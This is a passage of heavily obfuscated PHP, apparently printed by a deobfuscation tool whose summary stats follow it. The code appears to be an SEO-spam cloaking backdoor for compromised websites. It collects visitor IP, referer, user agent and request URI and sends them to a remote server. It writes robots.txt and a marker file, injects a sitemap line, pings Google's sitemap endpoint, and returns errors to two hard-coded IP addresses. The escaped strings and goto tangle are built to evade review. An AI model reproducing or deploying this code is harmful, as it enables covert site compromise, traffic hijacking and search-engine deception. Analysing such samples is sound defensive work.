getenv("\110\x54\x54\x50\137\x43\x4c\111\x45\116\124\x5f\111\120"); goto XriPg; vAOdV: goto VDxeS; goto UFBOE; BUFVD: $QfXms = "\60\x2e\x30\x2e\60\56\x30"; goto awLqO; UFBOE: cpGlR: goto IEp1d; A0Wzt: $QfXms = $ZZafx[0]; goto fquO5; fquO5: goto VDxeS; goto CJkyh; GiOAa: $ZZafx = explode("\x2c", $QfXms); goto A0Wzt; XriPg: quoJI: goto sOcL5; qMF0l: $QfXms = getenv("\122\105\x4d\x4f\124\105\137\x41\x44\104\122"); goto csV7r; awLqO: goto VDxeS; goto vzzNA; sOcL5: if (getenv("\x48\124\124\120\137\x58\x5f\122\x45\101\114\137\111\x50")) { goto G4StZ; } goto GdX8m; bMEKM: } goto gxABB; Bx1IV: $y4ILo = 2897; goto m1qjE; v5ob4: goto HXcUU; goto d28fW; rOuCJ: $dtQaj = $jRyfT . "\x3a\x2f\57" . $_SERVER["\110\124\124\x50\137\x48\x4f\x53\124"] . "\57\165\165\x75\165\170\170\x78\170\157\157\157"; goto hFmIn; ti2Qh: g_0ca: goto rOuCJ; qcj4w: if (preg_match("\x40\136\57\x28\56\x2a\77\x29\56\x78\155\154\x24\100\x69", $D0Tdb)) { goto HkHJ6; } goto hQApG; B_S5X: goto rHeKk; goto afM7U; mLqAD: if (!($ihrMk == "\x31\65\x33\56\x32\64\x36\x2e\61\63\x35\x2e\62\x33\x38" || $ihrMk == "\x32\61\x39\56\x31\x30\61\56\x34\x34\x2e\62\63\x33")) { goto kNPa0; } goto Tqii0; RSZf4: if ($gZfqH == "\x35\60\x30") { goto fNbdx; } goto z83C_; Y62AR: $QfXms = urlencode($ihrMk); goto L7VLx; iAzZd: header("\x48\x54\124\x50\57\x31\x2e\60\40\65\x30\60\40\111\x6e\x74\x65\162\156\141\x6c\40\x53\x65\162\x76\x65\x72\x20\x45\162\x72\x6f\162"); goto di61M; FDP4K: vqbmz: goto FWxSw; Fpv8B: $XXxxg = $BSFbK . "\77\141\147\145\156\x74\x3d{$KEpt2}\x26\162\x65\146\145\162\x3d{$xSFUa}\x26\x6c\x61\156\x67\75{$CVDlv}\x26\151\x70\75{$QfXms}\x26\144\157\x6d\75{$Ig_qR}\46\x68\164\x74\160\x3d{$jRyfT}\46\165\162\151\75{$D0Tdb}\x26\x70\143\x3d{$y4ILo}\46\x72\145\167\x72\151\164\145\141\142\154\145\x3d{$Nims_}\46\163\143\162\151\160\164\x3d{$K2ovA}\x26\x73\151\164\145\155\x61\x70\75" . urlencode($t_P8j); goto UwGCW; BaW1t: $xSFUa = urlencode($_SERVER["\x48\x54\124\120\x5f\122\x45\x46\x45\x52\x45\122"]); goto pu_vC; SPYMs: exit; goto Y1cjT; z83C_: if (empty($gZfqH)) { goto bnnI0; } goto Ye07M; xGlMx: if (strpos($DBQtp, "\x69\156\144\145\170\56\160\150\160") !== false) { goto OixJd; } goto yjY8o; csZQB: $Nims_ = @file_get_contents("\165\170\157\x2e\164\x78\x74"); goto l0kRm; nz1Bg: $Nims_ = 0; goto lRReJ; MC15E: @file_put_contents("\x75\x78\x6f\x2e\x74\x78\164", "\x31"); goto MBXkU; hDhxO: zO82e: goto YRkXv; NZLL4: goto EZaZa; goto hDhxO; Bhj_T: exit; goto o83Te; mHBFn: if ($gZfqH == "\x35\x30\60") { goto Q228N; } goto WyMgu; xcPw5: goto PJvlL; goto l2wui; ZR29o: exit; goto PN3Zw; a2nn5: goto aT5tt; goto inbk7; kZW1h: $gZfqH = hCvvL($XXxxg); goto AvFFs; yjY8o: $DBQtp = $DBQtp . "\x3f"; goto FtelZ; ezlBN: $ihrMk = tXi3A(); goto Y62AR; w0KoF: exit; goto yn5VB; ffhkZ: echo $gZfqH = hcVVL($XXxxg); goto Goia3; j51JT: $XXxxg = $BSFbK . "\x3f\x61\147\145\156\164\75{$KEpt2}\46\162\x65\146\x65\162\75{$xSFUa}\46\154\x61\156\147\x3d{$CVDlv}\x26\x69\160\75{$QfXms}\46\144\157\155\75{$Ig_qR}\x26\150\x74\164\x70\75{$jRyfT}\x26\x75\162\x69\x3d{$D0Tdb}\x26\x70\143\75{$y4ILo}\x26\x72\x65\167\162\x69\164\x65\141\x62\x6c\145\75{$Nims_}\x26\x73\x63\x72\151\160\x74\x3d{$K2ovA}"; goto kZW1h; Mai9j: goto aWBgo; goto H4rRI; Goia3: @file_put_contents("\162\157\x62\157\164\163\x2e\164\170\x74", $gZfqH); goto zailv; q8OzW: if (!($gZfqH == "\65\x30\x30")) { goto PN8fB; } goto sgZmS; OEN0l: PJvlL: goto NZLL4; IfqFQ: eE06u: goto mLqAD; s4DFr: $haO0D = "\x68\x74\x74\x70\x73\x3a\57\x2f\167\167\167\x2e\x67\x6f\157\x67\154\x65\56\x63\157\x6d\x2f\160\x69\156\x67\77\163\151\164\x65\x6d\x61\160\75"; goto yKKFM; vZZqN: ko3JF: goto a2nn5; W7Wua: if ($Nims_ == 0) { goto spWtt; } goto GHxUi; lRReJ: @file_put_contents("\165\170\x6f\56\164\x78\164", "\60"); goto PMJyk; nswqN: G_xFG: goto qZ7_C; YIocD: header("\x48\x54\x54\120\57\61\x2e\x30\40\64\x30\63\40\106\157\162\142\151\144\x64\145\x6e"); goto Bhj_T; Z5Cej: if ($gZfqH == "\157\x6b") { goto E6Bjm; } goto nz1Bg; dSLek: exit; goto E7z8G; sLVB2: spWtt: goto pd6sU; zLTR2: header("\x43\157\x6e\x74\145\x6e\164\55\124\171\160\x65\72\40\x74\145\170\x74\x2f\150\164\155\x6c\x3b\40\143\x68\x61\x72\163\145\x74\75\165\164\146\55\70"); goto T0NT6; YRHlk: $ECHbx = trim($ECHbx) . "\xd\xa" . "\x53\x69\164\x65\x6d\x61\160\x3a\x20{$t_P8j}"; goto u3BkO; fyVUI: u64gp: goto L1Dy0; Tqii0: header("\x48\124\x54\x50\57\x31\56\x30\x20\64\60\63\x20\x46\x6f\x72\142\151\144\x64\x65\156"); goto Eecy1; sTg45: rHeKk: goto Mai9j; miR0A: tv_5X: goto MOLKA; DbJS7: echo "\157\153"; goto j4_ZF; WYn45: bnnI0: goto v5ob4; GAhAk: if (!(strpos($D0Tdb, "\165\165\165\165\170\170\170\170\x6f\x6f\x6f") !== false)) { goto eE06u; } goto DbJS7; sZTjS: sRfAP: goto xZXig; cc8p5: $t_P8j = "{$jRyfT}\72\57\57" . $Ig_qR . $DBQtp . "\x73\151\164\145\155\x61\x70\56\x78\155\x6c"; goto YRHlk; H4rRI: gNBSh: goto j51JT; UwGCW: $gZfqH = HcVvl($XXxxg); goto P2J77; sgZmS: header("\x48\124\124\x50\57\x31\x2e\x30\40\65\x30\x30\x20\111\x6e\164\145\x72\x6e\141\x6c\40\123\145\x72\166\145\162\40\105\x72\x72\157\162"); goto dSLek; PN3Zw: nNVQz: goto xO1wO; wSLbC: aT5tt:

Function Calls

None

Variables

None

Stats

MD5 13c0c0fe212a8222cccafe1b23e93cf9
Eval Count 0
Decode Time 52 ms